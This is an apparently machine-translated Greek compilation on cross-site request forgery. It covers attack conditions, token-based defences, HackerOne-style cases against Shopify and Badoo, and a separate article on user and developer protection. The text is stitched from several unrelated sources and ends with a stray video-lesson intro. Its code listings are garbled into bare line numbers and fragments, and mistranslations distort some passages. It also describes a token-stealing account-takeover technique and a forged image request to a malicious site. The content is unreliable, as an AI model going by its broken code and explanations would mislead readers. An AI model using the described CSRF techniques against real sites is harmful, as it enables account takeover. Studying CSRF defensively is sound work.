Περιορισμοί

Πρέπει να συμβούν πολλά πράγματα για να πετύχει ένα αίτημα πλαστογραφίας μεταξύ ιστότοπων:

  • Ο εισβολέας πρέπει να στοχεύει είτε έναν ιστότοπο που δεν ελέγχει την κεφαλίδα παραπομπής είτε το θύμα χρησιμοποιώντας ένα πρόγραμμα περιήγησης ή μια προσθήκη που επιτρέπει την πλαστογράφηση παραπομπών.
  • Ο εισβολέας πρέπει να βρει μια φόρμα υποβολής στον ιστότοπο ή τη διεύθυνση URL-στόχου, που έχει τις παρενέργειες του να κάνει κάτι (όπως μεταφορά χρημάτων ή αλλαγή της διεύθυνσης ηλεκτρονικού ταχυδρομείου ή του κωδικού πρόσβασης του θύματος).
  • Ο εισβολέας πρέπει να καθορίσει τις σωστές τιμές για όλες τις φόρμες ή τις εισαγωγές URL. εάν κάποιο από αυτά είχε μυστικές τιμές ελέγχου ταυτότητας ή αναγνωριστικά που ο εισβολέας δεν θα μπορούσε να μαντέψει, η επίθεση πιθανότατα θα αποτύγχανε (εκτός αν ο εισβολέας ήταν πολύ τυχερός στην εικασία του).
  • Ο εισβολέας πρέπει να παρασύρει το θύμα σε μια ιστοσελίδα που περιέχει κακόβουλο κώδικα ενώ το θύμα συνδέεται στον ιστότοπο-στόχο.
  • Η επίθεση είναι τυφλή: ο εισβολέας δεν μπορεί να δει τι στέλνει ο ιστότοπος-στόχος στο θύμα ως απόκριση σε πλαστά αιτήματα, εκτός εάν εκμεταλλεύεται το Cross-Site Scripting ή άλλο σφάλμα στον ιστότοπο-στόχο. Επιπλέον, ένας εισβολέας μπορεί να στοχεύσει μόνο οποιονδήποτε σύνδεσμο ή να υποβάλει οποιεσδήποτε φόρμες προέρχονται μετά από το αρχικό πλαστό αίτημα, εφόσον αυτοί οι επόμενοι σύνδεσμοι ή φόρμες είναι εξίσου προβλέψιμοι. (Πολλοί στόχοι μπορούν να προσομοιωθούν με τη συμπερίληψη πολλαπλών εικόνων στη σελίδα ή με τη χρήση JavaScript για την εισαγωγή καθυστέρησης μεταξύ των κλικ.)

    Δεδομένων αυτών των περιορισμών, ένας εισβολέας μπορεί να δυσκολεύεται να βρει τις ανώνυμες ταυτότητες των θυμάτων ή μια ευάλωτη μορφή εκπροσώπησης. Από την άλλη πλευρά, οι προσπάθειες επίθεσης τοποθετούνται εύκολα και δεν ανιχνεύονται από τα θύματα, και οι προγραμματιστές εφαρμογών είναι λιγότερο εξοικειωμένοι και προετοιμασμένοι για επιθέσεις CS από ό,τι, για παράδειγμα, για επιθέσεις λεξικού διάρρηξης κωδικού πρόσβασης.

    πρόληψη

    Οι περισσότερες μέθοδοι πρόληψης CSRF λειτουργούν με την ενσωμάτωση πρόσθετων δεδομένων ελέγχου ταυτότητας σε αιτήματα, τα οποία επιτρέπουν στην εφαρμογή Ιστού να εντοπίζει αιτήματα από μη εξουσιοδοτημένες τοποθεσίες.

    Μοντέλο δείκτη συγχρονιστή
    • Κατά τη σύνδεση, η εφαρμογή Ιστού ορίζει ένα cookie που περιέχει ένα τυχαίο διακριτικό που παραμένει αμετάβλητο σε όλη τη διάρκεια της περιόδου σύνδεσης του χρήστη
    Set-Cookie: Csrf-token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; λήγει=Πέμ. 23-Ιουλ-2015 10:25:33 GMT; Max-Age=31449600; Διαδρομή=/
    • Η JavaScript που εκτελείται στην πλευρά του πελάτη διαβάζει την τιμή και την αντιγράφει σε μια προσαρμοσμένη κεφαλίδα HTTP που αποστέλλεται με κάθε αίτημα συναλλαγής
    X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
    • Ο διακομιστής ελέγχει την παρουσία και την ακεραιότητα των διακριτικών

    Η ασφάλεια αυτής της μεθόδου βασίζεται στην υπόθεση ότι μόνο η JavaScript που εκτελείται στην ίδια προέλευση θα μπορεί να διαβάσει την τιμή του cookie. Η JavaScript που εκτελείται με ένα παράνομο αρχείο ή διεύθυνση email δεν θα μπορεί να διαβάσει και να αντιγράψει στην προσαρμοσμένη κεφαλίδα. Παρόλο που το cookie διακριτικού CSRF θα σταλεί αυτόματα με το απατεώνα αίτημα, ο διακομιστής θα εξακολουθεί να αναμένει μια έγκυρη κεφαλίδα διακριτικού X-CSRF.

    Το ίδιο το διακριτικό CSRF πρέπει να είναι μοναδικό και απρόβλεπτο. Αυτό μπορεί να δημιουργηθεί τυχαία ή μπορεί να ληφθεί από διακριτικά συνεδρίας χρησιμοποιώντας HMAC:

    Csrf_token = HMAC(session_token, application_secret)

    Το διακριτικό cookie CS δεν πρέπει να έχει σημαία HTTPOnly, καθώς προορίζεται να διαβαστεί με σχεδιασμό JavaScript.

    Αυτή η μέθοδος εφαρμόζεται από πολλά σύγχρονα πλαίσια όπως το Django και το AngularJS. Επειδή το διακριτικό παραμένει μόνιμο καθ' όλη τη διάρκεια της συνεδρίας του χρήστη, λειτουργεί καλά με εφαρμογές AJAX, αλλά δεν παρέχει αλληλουχία συμβάντων σε εφαρμογές web.

    Η προστασία που παρέχεται από αυτήν τη μέθοδο μπορεί να αποτραπεί εάν ο ιστότοπος-στόχος απενεργοποιήσει την πολιτική ίδιας προέλευσης χρησιμοποιώντας μία από τις ακόλουθες μεθόδους:

    • Επιτρεπτή κεφαλίδα Access-Control-Allow-Origin (με αστερίσκο ορίσματος)
    • αρχείο clientaccesspolicy.xml που παρέχει ακούσια πρόσβαση στα στοιχεία ελέγχου Silverlight
    • αρχείο crossdomain.xml που παρέχει ακούσια πρόσβαση σε ταινίες Flash
    Διπλή αποστολή cookie

    Παρόμοια με την προσέγγιση cookie-to-header, αλλά χωρίς τη συμμετοχή JavaScript, ο ιστότοπος μπορεί να ορίσει ένα διακριτικό CSRF ως cookie και επίσης να το εισαγάγει σε ένα κρυφό πεδίο σε κάθε Φόρμα HTML, απεστάλη πελάτη. Όταν υποβάλλεται η φόρμα, ο ιστότοπος μπορεί να ελέγξει ότι ο δείκτης cookie ταιριάζει με το σχήμα των δεικτών. Η πολιτική κοινής προέλευσης εμποδίζει έναν εισβολέα να διαβάσει ή να ορίσει cookies στον τομέα-στόχο, επομένως δεν μπορεί να τοποθετήσει ένα έγκυρο διακριτικό στη δημιουργημένη του μορφή.

    Το πλεονέκτημα αυτής της μεθόδου έναντι του μοτίβου συγχρονιστή είναι ότι το διακριτικό δεν χρειάζεται να αποθηκευτεί στον διακομιστή.

    Εγγυήσεις πελατών

    Οι επεκτάσεις προγράμματος περιήγησης όπως το RequestPolicy (για Mozilla Firefox) ή το Umatrix (τόσο για τον Firefox όσο και για το Google Chrome/Chromium) μπορούν να αποτρέψουν το CSRF παρέχοντας μια προεπιλεγμένη πολιτική άρνησης για αιτήματα μεταξύ τοποθεσιών. Ωστόσο, αυτό μπορεί να επηρεάσει σημαντικά την κανονική λειτουργία πολλών τοποθεσιών. Η επέκταση CsFire (επίσης για τον Firefox) μπορεί να μετριάσει τον αντίκτυπο του CSRF με μικρότερο αντίκτυπο στην κανονική περιήγηση, αφαιρώντας τις πληροφορίες ελέγχου ταυτότητας από αιτήματα μεταξύ τοποθεσιών.

    Το Cross Site Request Forgery, ή CSRF, είναι μια επίθεση που συμβαίνει όταν ένας κακόβουλος ιστότοπος, email, μήνυμα, εφαρμογή ή οτιδήποτε άλλο αναγκάζει το πρόγραμμα περιήγησης ενός χρήστη να εκτελέσει κάποια ενέργεια σε έναν άλλο ιστότοπο όπου αυτός ο χρήστης έχει ήδη πιστοποιηθεί. Συχνά αυτό συμβαίνει εν αγνοία του χρήστη.

    Η ζημιά που προκαλείται από μια επίθεση CSRF εξαρτάται από τον ιστότοπο που λαμβάνει την ενέργεια. Εδώ είναι ένα παράδειγμα:

  • Ο Μπομπ εισάγει τον προσωπικό του λογαριασμό στον πελάτη διαδικτυακής τραπεζικής, εκτελεί ορισμένες λειτουργίες, αλλά δεν αποσυνδέεται.
  • Ο Μπομπ ελέγχει το email του και κάνει κλικ σε έναν σύνδεσμο που τον οδηγεί σε έναν άγνωστο ιστότοπο.
  • Ένας άγνωστος ιστότοπος κάνει ένα αίτημα στον διαδικτυακό πελάτη της τράπεζας του Μπομπ να μεταφέρει χρήματα, μεταβιβάζοντας πληροφορίες στο cookie του Μπομπ που είχε αποθηκευτεί από την προηγούμενη συνεδρία του.
  • Ο ιστότοπος Bob's Bank δέχεται αίτημα από έναν άγνωστο (κακόβουλο) ιστότοπο χωρίς τη χρήση διακριτικού CSRF και εκτελεί τη μετάφραση.
  • Μια ακόμη πιο ενδιαφέρουσα κατάσταση είναι όταν μια σύνδεση με ένα κακόβουλο
    ο ιστότοπος μπορεί να περιέχεται σε έγκυρο HTML, χάρη στον οποίο ο Bo-
    Δεν χρειάζεται καν να κάνετε κλικ στον σύνδεσμο: . Εάν η συσκευή του Bob (για παράδειγμα, ένα πρόγραμμα περιήγησης) αποδίδεται
    Αυτή η εικόνα θα υποβάλει αίτημα στο malicious_site.com και ενδέχεται να προκαλέσει επίθεση CSRF.

    Τώρα που γνωρίζετε τους κινδύνους των επιθέσεων CSRF, μπορείτε να προστατεύσετε από αυτές με διάφορους τρόπους, ο πιο δημοφιλής από τους οποίους είναι ίσως η χρήση ενός διακριτικού CSRF, το οποίο πρέπει να αποσταλεί με οποιοδήποτε αίτημα που θα μπορούσε ενδεχομένως να τροποποιήσει δεδομένα ( όπως αιτήματα POST ). Μια διαδικτυακή εφαρμογή (όπως η ηλεκτρονική τραπεζική του Bob) θα χρειαστεί να δημιουργήσει ένα διακριτικό που αποτελείται από δύο μέρη, το ένα από τα οποία θα λάβει ο Bob και το δεύτερο θα αποθηκευτεί στην εφαρμογή.

    Όταν ο Μπομπ προσπαθεί να κάνει ένα αίτημα μεταφοράς χρημάτων, θα πρέπει να στείλει ένα διακριτικό, το οποίο θα επαληθευτεί από την τράπεζα για την εγκυρότητά του χρησιμοποιώντας το διακριτικό που είναι αποθηκευμένο στην εφαρμογή.

    Τώρα που γνωρίζουμε για τα διακριτικά CSRF και CSRF, το Cross Origin Resource Sharing (CORS) είναι πιο λογικό, αν και μπορεί να το πρόσεξα μόλις αυτό καθώς ερεύνησα νέους στόχους. Γενικά, το CORS περιορίζει τη λίστα των πόρων που μπορούν να έχουν πρόσβαση σε δεδομένα. Με άλλα λόγια, όταν το CORS χρησιμοποιείται για την ασφάλεια ενός ιστότοπου, μπορείτε να γράψετε Javascript για να καλέσετε την εφαρμογή-στόχο, να διαβάσετε την απάντηση και να πραγματοποιήσετε μια άλλη κλήση, εάν η τοποθεσία προορισμού σας το επιτρέπει.

    Εάν αυτό σας φαίνεται μπερδεμένο, δοκιμάστε να χρησιμοποιήσετε Javascript για να πραγματοποιήσετε μια κλήση στο HackerOne.com/activity.json, να διαβάσετε την απάντηση και να πραγματοποιήσετε μια δεύτερη κλήση. Θα δείτε επίσης τη σημασία αυτού και των πιθανών λύσεων στο παράδειγμα #3 παρακάτω.

    Τέλος, είναι σημαντικό να σημειωθεί (ευχαριστώ τον Jobert Abma που το επισήμανε) ότι δεν είναι κάθε αίτημα χωρίς διακριτικό CSRF άκυρο. Ορισμένοι ιστότοποι ενδέχεται να πραγματοποιούν πρόσθετους ελέγχους, όπως τη σύγκριση της αρχικής κεφαλίδας (αν και αυτό δεν είναι εγγυημένο ότι είναι ασφαλές και υπάρχουν γνωστές περιπτώσεις παράκαμψης). Αυτό είναι ένα πεδίο που προσδιορίζει τη διεύθυνση της σελίδας που συνδέεται με τον ζητούμενο πόρο. Με άλλα λόγια, εάν το μέρος προέλευσης (παραπομπής)

    πραγματοποιεί μια κλήση POST από έναν ιστότοπο διαφορετικό από τον ίδιο ιστότοπο που έλαβε το αίτημα HTTP, ο ιστότοπος ενδέχεται να μην επιτρέπει στην κλήση να επιτύχει το ίδιο αποτέλεσμα με τη χρήση του διακριτικού CSRF. Επιπλέον, δεν χρησιμοποιεί κάθε ιστότοπος όρους csrf κατά τη δημιουργία ή τον ορισμό ενός διακριτικού. Για παράδειγμα, στο Badoo αυτή είναι η παράμετρος rt, όπως περιγράφεται παρακάτω.

    Διαβάστε τον οδηγό OWASP Testing for CSRF

    Παραδείγματα 1. Εξαγωγή εγκατεστημένων χρηστών Shopify

    Δυσκολία: Χαμηλή
    Διεύθυνση URL: https://app.shopify.com/services/partners/api_clients/XXXX/export_installed_users


    Περιγραφή:

    Το Shopify API παρέχει ένα τελικό σημείο για την εξαγωγή μιας λίστας εγκατεστημένων χρηστών μέσω της διεύθυνσης URL που εμφανίζεται παραπάνω. Η ευπάθεια ήταν ότι ο ιστότοπος μπορούσε να υποβάλει αίτημα σε αυτό το τελικό σημείο και να λάβει πληροφορίες ως απάντηση, αφού

    Το Shopify δεν χρησιμοποίησε διακριτικό CSRF για την επικύρωση αυτού του αιτήματος. Ως αποτέλεσμα, ο ακόλουθος κώδικας HTML θα μπορούσε να χρησιμοποιηθεί για την υποβολή μιας φόρμας εκ μέρους ενός ανυποψίαστου θύματος.

    1 2 csrf 3 4 7 8 9

    Σε αυτό το παράδειγμα, με μια απλή επίσκεψη Σελίδες Javascriptυποβάλλει μια φόρμα που περιλαμβάνει ένα αίτημα GET στο Shopify API χρησιμοποιώντας τα cookie Shopify που έχουν οριστεί στο πρόγραμμα περιήγησης του θύματος.

    συμπεράσματα

    Αυξήστε την κλίμακα των επιθέσεων σας και αναζητήστε σφάλματα όχι μόνο στον ιστότοπο, αλλά και στο API. Τα τελικά σημεία API είναι επίσης μια πιθανή λεωφόρος για εκμετάλλευση, επομένως αξίζει να το έχετε υπόψη σας, ειδικά αν γνωρίζετε ότι το API μπορεί να έχει αναπτυχθεί ή να έχει γίνει διαθέσιμο μετά τη δημιουργία της διεπαφής ιστού.

    2. Αποσυνδέστε το Shopify από το Twitter

    Δυσκολία: Χαμηλή
    Διεύθυνση URL: https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect

    Το Shopify παρέχει ενσωμάτωση στο Twitter που επιτρέπει στους ιδιοκτήτες καταστημάτων να κάνουν tweet σχετικά με τα προϊόντα τους. Ομοίως, η υπηρεσία σάς επιτρέπει να αποσυνδέσετε έναν λογαριασμό Twitter από ένα συνδεδεμένο κατάστημα.

    Η διεύθυνση URL για την απενεργοποίηση του λογαριασμού σας Twitter από το κατάστημα παρατίθεται παραπάνω. Κατά την υποβολή του αιτήματος, το Shopify δεν επικύρωσε το διακριτικό CSRF, το οποίο επέτρεψε στον εισβολέα να δημιουργήσει έναν ψεύτικο σύνδεσμο που, όταν τον έκανε κλικ, θα έκανε τον ανυποψίαστο ιδιοκτήτη καταστήματος να αποσυνδέσει το κατάστημά του από το Twitter.

    Κατά την περιγραφή της ευπάθειας, το WeSecureApp παρείχε το ακόλουθο παράδειγμα ενός ευάλωτου αιτήματος. Λάβετε υπόψη ότι η χρήση της ετικέτας img πραγματοποιεί κλήση στην ευάλωτη διεύθυνση URL:

    1 GET /auth/twitter/disconnect HTTP/1.1 2 Host: twitter-commerce.shopifyapps.com 3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.1 4 1; rv:43.0) Gecko/20100100 Firefox/43. 5 Αποδοχή: text/html, application/xhtml+xml, application/x 6 ml 7 Accept-Language: en-US,en;q=0.5 8 Accept-Encoding: gzip, deflate 9 Παραπομπή: https://twitter-commerce .shopifyapps.com/accou 10 nt 11 Cookie: _twitter-commerce_session=REDACTED 12 >Σύνδεση: keep-alive

    Επειδή το πρόγραμμα περιήγησης κάνει ένα αίτημα GET για λήψη της εικόνας από τη διεύθυνση URL που έχει περάσει και το διακριτικό CSRF δεν έχει επικυρωθεί, η προσαρμοσμένη αποθήκευση είναι πλέον απενεργοποιημένη:

    1 2 3 5 6

    συμπεράσματα

    Σε αυτήν την περίπτωση, η ευπάθεια που περιγράφηκε θα μπορούσε να είχε εντοπιστεί χρησιμοποιώντας έναν διακομιστή μεσολάβησης όπως το Burp ή το Firefox Tamper Data, απλώς κοιτάζοντας το αίτημα που στάλθηκε στο Shopify και βλέποντας ότι το αίτημα έγινε χρησιμοποιώντας ένα αίτημα GET. Δεδομένου ότι αυτό ήταν ενοχλητικό και τα αιτήματα GET δεν πρέπει να αλλάξουν δεδομένα στον διακομιστή, αξίζει να το διερευνήσετε.

    3. Ολοκληρώστε την εξαγορά λογαριασμού στο Badoo

    Δυσκολία: Μέτρια
    Διεύθυνση URL: https://badoo.com
    Σύνδεσμος αναφοράς: https://hackerone.com/reports/12770312
    Ημερομηνία αναφοράς: 1 Απριλίου 2016
    Πληρωμή ανταμοιβής: 852 $

    Περιγραφή:

    Αν κοιτάξετε το Badoo, προστατεύουν από το CSRF συμπεριλαμβάνοντας μια παράμετρο rt στη διεύθυνση URL, η οποία έχει μήκος μόνο 5 χαρακτήρες (τουλάχιστον τη στιγμή της σύνταξης). Αν και το παρατήρησα όταν το Badoo ξεκίνησε μια καμπάνια στο HackerOne, δεν βρήκα τρόπο να το χρησιμοποιήσω. Ωστόσο, ο Mahmoud Jamal (zombiehelp54) το βρήκε.

    Αφού κατανόησε την έννοια της παραμέτρου rt, παρατήρησε επίσης ότι η παράμετρος επιστράφηκε σχεδόν σε όλες τις απαντήσεις json. Δυστυχώς, αυτό δεν έκανε καλό, καθώς το CORS προστατεύει το Badoo από επιθέσεις διαβάζοντας αυτές τις απαντήσεις. Ο Μαχμούντ συνέχισε την αναζήτηση.

    Αποδείχθηκε ότι το αρχείο https://eu1.badoo.com/worker-scope/chrome-ser περιέχει την τιμή rt. Αυτό που ήταν ακόμα καλύτερο ήταν ότι αυτό το αρχείο
    μπορούσε να διαβαστεί αυθαίρετα από τον εισβολέα και δεν απαιτούσε
    το θύμα δεν κάνει καμία άλλη ενέργεια εκτός από την επίσκεψη σε μια κακόβουλη ιστοσελίδα. Εδώ είναι ο κωδικός που έδωσε:

    1 2 3 Λογαριασμός Badoo λήφθηκε 4 6 7 8 9 συνάρτηση getCSRFcode(str) ( 10 return str.split('='); 11 ) 12 window.onload = function())( 13 var csrf_code = getCSRFcode(url_stats); . rf_code ; 18 window.location = csrf_url ; 19 ); 20

    Βασικά, όταν το θύμα φόρτωσε τη σελίδα, θα έκανε ένα αίτημα στο σενάριο του Badoo, θα έπαιρνε την παράμετρο rt για αυτόν τον χρήστη και στη συνέχεια θα έκανε το αίτημα για λογαριασμό του θύματος. Σε αυτή την περίπτωση, ήταν η σύνδεση του λογαριασμού του Mahmoud με τον λογαριασμό του θύματος, που επέτρεψε την πλήρη κατάληψη του λογαριασμού.

    συμπεράσματα

    Όπου υπάρχει καπνός, υπάρχει και φωτιά. Εδώ, ο Mahmoud παρατήρησε ότι η παράμετρος rt επιστρεφόταν σε διαφορετικά σημεία, σε συγκεκριμένες αποκρίσεις json. Οπότε σωστά υπέθεσε ότι θα μπορούσε να εμφανιστεί κάπου όπου θα μπορούσε να χρησιμοποιηθεί σε αυτή την περίπτωση σε ένα αρχείο js.

    Αποτελέσματα

    Οι επιθέσεις CSRF αντιπροσωπεύουν έναν άλλο επικίνδυνο φορέα επίθεσης και μπορούν να πραγματοποιηθούν με μικρή ή καθόλου ενεργή δράση από την πλευρά του θύματος. Η εύρεση των τρωτών σημείων του CSRF απαιτεί κάποια εφευρετικότητα και, πάλι, προθυμία να δοκιμάσετε τα πάντα.

    Κατά κανόνα, οι φόρμες προστατεύονται από προεπιλογή από πλαίσια όπως το Rails εάν ο ιστότοπος υποβάλει αίτημα POST, αλλά τα API μπορούν

    να είναι μια ξεχωριστή ιστορία. Για παράδειγμα, το Shopify είναι γραμμένο κυρίως στο πλαίσιο Ruby on Rails, το οποίο παρέχει προστασία CSRF για όλες τις φόρμες από προεπιλογή (αν και μπορεί να απενεργοποιηθεί). Ωστόσο, προφανώς αυτό δεν ισχύει απαραίτητα για τα API που δημιουργούνται χρησιμοποιώντας αυτό το πλαίσιο. Τέλος, προσέξτε τις κλήσεις που αλλάζουν δεδομένα στο διακομιστή (όπως μια ενέργεια διαγραφής) και πραγματοποιούνται με αίτημα GET.

    Προσπάθησα να περιγράψω ποια ακριβώς είναι αυτή η ευπάθεια και, κυρίως, ποιες προϋποθέσεις είναι απαραίτητες για να πραγματοποιηθεί μια επίθεση CSRF.

    Σε αυτό το άρθρο θα προσπαθήσω να μιλήσω για προστασία από επιθέσεις αυτού του τύπου από το εξωτερικό:

    • Από την πλευρά του πελάτη - οι κύριοι τρόποι για να προστατευτείτε
    • Από την πλευρά του διακομιστή - σωστή σχεδίαση εφαρμογής

    Εάν ενδιαφέρεστε για το πώς να προστατευθείτε από το CSRF, τότε καλώς ήρθατε στο cat.

    γενικές πληροφορίες

    Γενικά, θέλω να σας υπενθυμίσω ότι το CSRF ΔΕΝ είναι μια ευπάθεια, είναι ένας τύπος επίθεσης. Και αυτή η επίθεση πραγματοποιείται στον τελικό χρήστη μιας εφαρμογής Ιστού χρησιμοποιώντας μια ευπάθεια σε αυτήν την εφαρμογή, η οποία μπορεί να ονομαστεί "Έλλειψη σωστής επαλήθευσης της πηγής αιτήματος" (το όνομα το βρήκα μόνος μου, μην κρίνετε αυστηρά, αλλά είναι αλήθεια). Αλλά στο εξής θα ονομάζω το CSRF μια ευπάθεια και μια επίθεση που μετατρέπεται σε ένα καθώς είναι απλούστερο, και αυτός είναι ο τρόπος με τον οποίο γίνεται αποδεκτό =)

    Και αφού η επίθεση γίνεται στον χρήστη, τότε ο χρήστης πρέπει να αμυνθεί... πλάκα =) Το γεγονός είναι ότι οποιοσδήποτε χρήστης μπορεί να μειώσει την πιθανότητα αυτής της επίθεσης σε οποιονδήποτε ιστότοπο χρησιμοποιεί (ακόμα κι αν αυτοί οι ιστότοποι δεν έχουν ενσωματωμένη προστασία έναντι CSRF). Εκτός όμως από τους χρήστες, οι ίδιοι οι προγραμματιστές ιστοτόπων μπορούν να σχεδιάσουν την εφαρμογή τους με τέτοιο τρόπο ώστε να αποτρέψουν την πιθανότητα πραγματοποίησης αυτής της επίθεσης στους χρήστες τους.

    Ας δούμε την προστασία και από τις δύο πλευρές.

    Προστασία χρήστη

    Γενικά, όλα εδώ είναι πολύ κοινά:

    • Μην κάνετε κλικ σε συνδέσμους που σας προσφέρονται από τρίτους. Αυτή είναι η πιο μπανάλ συμβουλή, νομίζω ότι όλοι το γνωρίζουν ήδη, αλλά αποφάσισα να το πω άλλη μια φορά.
    • Κατάργηση εξουσιοδότησης μετά την ολοκλήρωση της εργασίας με έναν συγκεκριμένο ιστότοπο. Ακόμα κι αν υπάρχει ευπάθεια, ο εισβολέας δεν θα μπορεί να εκτελέσει ενέργειες στον ιστότοπο-στόχο για λογαριασμό σας.
    • Χρησιμοποιήστε ένα ξεχωριστό πρόγραμμα περιήγησης ή "ιδιωτικές ή ανώνυμες λειτουργίες" για να εργαστείτε με σημαντικούς ιστότοπους (ιδανικά, χρησιμοποιήστε ένα πρόγραμμα περιήγησης για κάθε ιστότοπο ^_^ ή ακόμα καλύτερα, έναν ξεχωριστό υπολογιστή: D).

    Αυτό είναι όλο. Τώρα ας περάσουμε στο κύριο πράγμα.

    Προστασία προγραμματιστή

    Όπως ήδη αναφέρθηκε, η ευπάθεια έγκειται στην έλλειψη κατάλληλης επαλήθευσης της πηγής του αιτήματος. Δηλαδή, κατά την ανάπτυξη μιας εφαρμογής, πρέπει να ενσωματώσουμε λειτουργικότητα για τον έλεγχο αυτής της πηγής. Και ποιο είναι το πρώτο πράγμα που μας έρχεται στο μυαλό; Σωστά! Έλεγχος παραπομπής.

    Έλεγχος παραπομπής

    Θα το πω αμέσως, για όσους διαβάζουν άρθρα διαγώνια. Το να βασίζετε την άμυνά σας αποκλειστικά στον έλεγχο αυτής της κεφαλίδας είναι κακό(!). Γιατί - δείτε παρακάτω.

    Αρχικά, ας καταλάβουμε ποια είναι αυτή η μέθοδος.

    Συνεργαζόμαστε με ιστότοπους χρησιμοποιώντας το πρωτόκολλο HTTP. Κάθε πακέτο αυτού του πρωτοκόλλου είναι ένα σύνολο κεφαλίδων + περιεχομένων πακέτων. Μία από αυτές τις κεφαλίδες είναι το Referer. Περιέχει τη διεύθυνση της πηγής παραπομπής. Ένα ασήμαντο παράδειγμα: έχετε ανοιχτό τον ιστότοπο Α, σε αυτόν τον ιστότοπο κάνετε κλικ σε έναν σύνδεσμο προς τον ιστότοπο Β, αυτή τη στιγμή, όταν κάνετε ένα αίτημα, η κεφαλίδα του Referer θα περιέχει τη διεύθυνση του ιστότοπου Α. Δηλαδή, φαίνεται ότι αυτός είναι ένας ιδανικός μηχανισμός για την παρακολούθηση από πού προέρχεται ο χρήστης.

    Εδώ είναι το χρένο. Και το θέμα εδώ δεν είναι ότι η παραπομπή μπορεί να είναι ψεύτικη (ποιος λογικός χάκερ θα ζητούσε από το θύμα να αντικαταστήσει τον παραπομπή και να ακολουθήσει τον καθορισμένο σύνδεσμο). Και το γεγονός είναι ότι, σύμφωνα με τα στατιστικά μου, περίπου το 5% των χρηστών έχουν απενεργοποιημένη τη μετάδοση Referer. Δηλαδή, είτε αυτά τα πέντε τοις εκατό δεν θα μπορούν να συνεργαστούν καθόλου με τον ιστότοπο είτε θα είναι ευάλωτα σε αυτήν την επίθεση (ανάλογα με την πολιτική της εφαρμογής σας).

    Ναι, ναι, ναι, ξέρω τι σκέφτεστε... Λοιπόν, τι στο καλό με αυτό το 5%; Αφήστε τους να είναι ευάλωτοι, αλλά το υπόλοιπο 95% προστατεύεται και ταυτόχρονα κοστίζετε λίγο αίμα. Δηλαδή, αν το refererr περιέχει τη διεύθυνση της αίτησής μας ή είναι κενό, τότε θεωρούμε ότι η πηγή είναι επιβεβαιωμένη; Έρχεται πάλι το χρένο! Υπάρχουν επιλογές για να αναγκάσετε το πρόγραμμα περιήγησης του θύματος να εκπληρώσει το αίτημα χωρίς να προσδιορίσετε τον παραπέμποντα (έγραψα για αυτό)! Και voila! Αποδεικνύεται ότι όλοι οι χρήστες εξακολουθούν να είναι ευάλωτοι.

    Γενικά, ως ανεξάρτητη μέθοδος, αυτή η μέθοδος δεν έχει νόημα.

    Επιβεβαίωση ενέργειας

    Μπορείτε να επισυνάψετε ένα captcha σε κάθε φόρμα υποβολής και να το δείξετε ακόμα και σε εγγεγραμμένους χρήστες για να τους αποθηκεύσετε από το CSRF... Αν και, ίσως, θα προτιμούσα να δώσω τον λογαριασμό μου σε έναν χάκερ παρά να εργαστώ σε ένα τέτοιο σύστημα...

    Μαρτυρίες

    Λοιπόν, τώρα ο μόνος σωστός και αξιόπιστος τρόπος.

    Εννοια αυτή τη μέθοδοσυνίσταται στην προσθήκη μιας παραμέτρου που περιέχει ορισμένα «tokens» σε κάθε σύνδεσμο, φόρμα υποβολής κ.λπ. Και όταν λαμβάνει ένα αίτημα, ο διακομιστής πρέπει να ελέγξει την παρουσία αυτού του διακριτικού στις αποδεκτές παραμέτρους. Φυσικά, κάθε διακριτικό για κάθε χρήστη πρέπει να είναι μοναδικό, και ακόμα καλύτερα αν κάθε διακριτικό είναι μοναδικό.

    Ένα από τα απλούστερα και πιο αξιόπιστα παραδείγματα υλοποίησης - ένα νέο διακριτικό δημιουργείται με κάθε αίτημα και εγκαθίσταται στα cookies του χρήστη και προστίθεται επίσης στις παραμέτρους των φορμών και των συνδέσμων στη σελίδα:

    Στη συνέχεια, κατά τη λήψη κάθε αιτήματος, το διακριτικό από τα cookies συγκρίνεται με το διακριτικό που καθορίζεται στις παραμέτρους της φόρμας. Και αν είναι τα ίδια, τότε η πηγή του αιτήματος είναι νόμιμη. Στη συνέχεια, το διακριτικό δημιουργείται ξανά και τοποθετείται ξανά στο cookie, κ.λπ. γύρος.

    Γενικά, η υλοποίηση μπορεί να είναι διαφορετική, αλλά το πρόβλημα είναι ότι η μετάβαση σε διακριτικά είναι αρκετά δύσκολη αφού πρέπει να λαμβάνεις υπόψη κάθε σύνδεσμο, κάθε φόρμα, κάθε σελίδα... Μπορείς να προστατεύσεις μόνο σημαντικές σελίδες/φόρμες/δεσμούς, αλλά τότε υπάρχει περίπτωση να χάσετε μερικά από αυτά.

    Προσωπικά προστατεύω μόνο φόρμες POST και πολύ σημαντικούς συνδέσμους. Δηλαδή, το POST στις εφαρμογές μου δεν λειτουργεί χωρίς το σωστό διακριτικό. Αυτό εξαλείφει την πιθανότητα να ξεχάσετε να προστατέψετε κάποια μορφή, καθώς απλά δεν θα λειτουργήσει και θα το παρατηρήσω αμέσως.

    συμπέρασμα

    Ελπίζω από αυτό το άρθρο να καταλάβετε πώς να προστατευτείτε από επιθέσεις CSRF.

    Από τον συγγραφέα: ο λόγος για την εγγραφή αυτού του μαθήματος ήταν μια ερώτηση στο φόρουμ μας, η οποία ακουγόταν ως εξής: πώς να προστατέψετε έναν ιστότοπο από επιθέσεις CSRF; Φυσικά, απαντήσαμε αμέσως σε αυτό το θέμα και παρείχαμε έναν μικρό αλγόριθμο για την εφαρμογή του μηχανισμού προστασίας. Επειδή όμως πιθανότατα δεν διάβασαν όλοι οι αναγνώστες μας το φόρουμ, αποφάσισα να καταγράψω ένα ξεχωριστό μάθημα για το παραπάνω θέμα.

    Θα ήθελα να σημειώσω αμέσως ότι το τρέχον βίντεο δεν θα παρέχει μια ολοκληρωμένη έτοιμη λύση που μπορεί να εφαρμοστεί στον απαιτούμενο ιστότοπο. Επειδή ο καθένας από εσάς έχει ή θα έχει έναν ιστότοπο με μοναδική λογική δομή, δηλαδή εντελώς διαφορετική από τους άλλους, πράγμα που σημαίνει ότι είναι αδύνατο να δημιουργήσετε ένα έτοιμο σενάριο προστασίας, τηρώντας απολύτως τα πάντα πιθανές επιλογέςεκτέλεση.

